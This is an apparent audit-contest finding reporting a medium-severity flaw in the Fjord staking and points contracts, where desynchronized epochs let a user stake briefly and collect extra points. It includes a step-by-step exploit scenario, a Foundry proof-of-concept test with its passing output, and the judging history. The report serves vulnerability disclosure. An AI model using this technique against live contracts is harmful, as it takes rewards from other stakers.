DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Epoch Synchronization Exploit in Staking and Point Contracts Allows High Rewards with Minimal Staking Time

Description

There is a synchronization issue between the FjordStaking and FjordPoints contracts that allows users to exploit the system.
Specifically, the FjordStaking contract permits users to stake and unstake within the same epoch, while the point contract incorrectly treats these actions as
occurring across two separate epochs, in the case of a desynch between the mentioned contract epoch times.

A possible scenario for this issue is:

  1. User A monitors the mentioned contracts' timing systems to identify any potential gaps or delays.

  2. He notices that there is a delay (e.g. 10 hours) between the start of the epochs between the contracts.

  3. At the 6th day (14 hours to the end of the epoch), he stakes a significant amount at the last second of an epoch in the point contract, aiming to withdraw it in the first times of the next points epoch.

  4. 13 hours later, he withdraws his stakes (it is possible because the epoch in staking is the same as the current epoch)

  5. Due to this desynchronization, the user gains disproportionate rewards with just a few hours of staking. (for example, 400 points instead of 300)

This scenario unfairly dilutes the rewards for other users.

Proof of Concept

This test shows the impact of a desynch between the two contract's timings. This delay might happen due to the blockchain related issues if deployed separately.

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
import "../src/FjordStaking.sol";
import { FjordPoints } from "../src/FjordPoints.sol";
import { console, Test } from "forge-std/Test.sol";
import { MockERC20 } from "solmate/test/utils/mocks/MockERC20.sol";
import {FjordAuction} from "../src/FjordAuction.sol";
contract FjordTest is Test {
FjordAuction auction;
FjordStaking fjordStaking;
MockERC20 token;
MockERC20 wbtc;
FjordPoints points;
address internal constant SABLIER_ADDRESS = address(0xB10daee1FCF62243aE27776D7a92D39dC8740f95);
address minter = makeAddr("minter");
address newMinter = makeAddr("new_minter");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address authorizedSender = address(this);
function setUp() public {
points = new FjordPoints();
token = new MockERC20("Fjord", "FJO", 18);
vm.warp(block.timestamp + 36000); // 10 hours delay
fjordStaking =
new FjordStaking(address(token), address(this), SABLIER_ADDRESS, authorizedSender, address(points));
points.setStakingContract(address(fjordStaking));
wbtc = new MockERC20("Wrapped Bitcoin", "WBTC", 8);
auction = new FjordAuction(address(points), address(wbtc), 7 days, 10e9);
}
function testMaximumProfit() public {
deal(address(token), alice, 1e25);
vm.startPrank(alice);
token.approve(address(fjordStaking), type(uint256).max);
vm.warp(block.timestamp + 3 weeks + 6 days + 10 hours);
uint256 weeksPending = (block.timestamp - points.lastDistribution()) / (1 weeks);
console.log("The current points per token is: ", weeksPending);
fjordStaking.stake(1e20);
// At this moment, we are in the next epoch of the points contract, but in the same epoch of staking
vm.warp(block.timestamp + 13 hours);
weeksPending = (block.timestamp - points.lastDistribution()) / (1 weeks);
console.log("The current points per token is: ", weeksPending);
// The total points are calculated using the epoch 4 rather than epoch 3 due to time delay
uint total = fjordStaking.unstake(4, 1e20);
vm.stopPrank();
console.log("Alice total stake is: ", total);
}
}

The result is:

Ran 1 test for test/PointsTest.t.sol:FjordTest
[PASS] testMaximumProfit() (gas: 528404)
Logs:
The current points per token is: 3
The current points per token is: 4
Alice total stake is: 100000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.33ms (816.20µs CPU time)

Impact

This exploit allows users to earn high rewards with minimal staking time, leading to an unfair distribution of rewards and potential financial losses for other users.

Tools Used

Manual Review

Reccomendation

Ensure that staking and unstaking actions within the staking contract are confined to the same epoch to prevent exploitation and maintain fair reward distribution.

Updates

Lead Judging Commences

inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

If epoch end times of FjordStaking and FjordPoints are desynchronized, users will be able to exploit the desynchronization to stake>claim>unstake instantly, getting points they shouldn't

Impact: High - Users are getting an unreasonable amount of points through exploiting a vulnerability Likelihood: Low - Most of the times, when using the script, all deployment tx will get processed in the same block. But, there is a small chance for them to be processed in different blocks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.